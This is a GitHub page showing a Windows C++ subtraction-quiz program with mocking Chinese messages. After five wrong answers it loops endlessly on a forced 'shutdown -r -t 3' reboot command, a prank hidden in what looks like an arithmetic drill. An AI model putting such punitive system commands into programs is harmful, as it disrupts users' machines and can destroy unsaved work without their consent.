-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathaminusb.cpp
48 lines (48 loc) · 1.22 KB
/
aminusb.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#include<bits/stdc++.h>
#include<windows.h>
using namespace std;
int main() {
int a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z,ct0=0,ct1=0,ct2=0,ct3=0,ct4=0,ct5=0,ct6=0,ct7=0,ct8=0,round=0;
bool hry=false;
printf("欢迎来到李明喆减法小课堂\n");
printf("想跳过这部分吗?\n不存在的,随便输个数代表你的智商吧\n");
scanf("%d",&d);
system("cls");
if(d==160419&&hry==true) {
printf("作弊的小子\n");
printf("你跳过了减法部分\n\n");
Sleep(1500);
system("cls");
}
for(g=0; g<7&&(d!=160419||hry==false);) {
if(ct1>=5) {
for(int fff=0;; fff++) {
system("shutdown -r -t 3");
cout<<"信仰圣光吧!!!";
}
}
srand(time(0));
d=(int)(30.0*rand()/RAND_MAX*19999+1.0);
j=(int)(100.0*rand()/(RAND_MAX+1.0));
k=(int)(70.0*rand()/RAND_MAX+1.0);
c=j-k;
printf(" %d - %d = ",j,k);
scanf("%d",&a);
if(a==c) {
printf("对了哟^_^\n");
g++;
} else {
ct1=ct1+1;
printf("错!正确的差是%d,滚去学习吧(╯‵□′)╯︵┴─┴\n", c);
}
if(g==5) {
printf("最后两道题!\n");
} else if(g==6) {
printf("最后一道题!\n");
} else if(g==7) {
printf("你成功了!⊙ω⊙");
} else {
continue;
}
}
}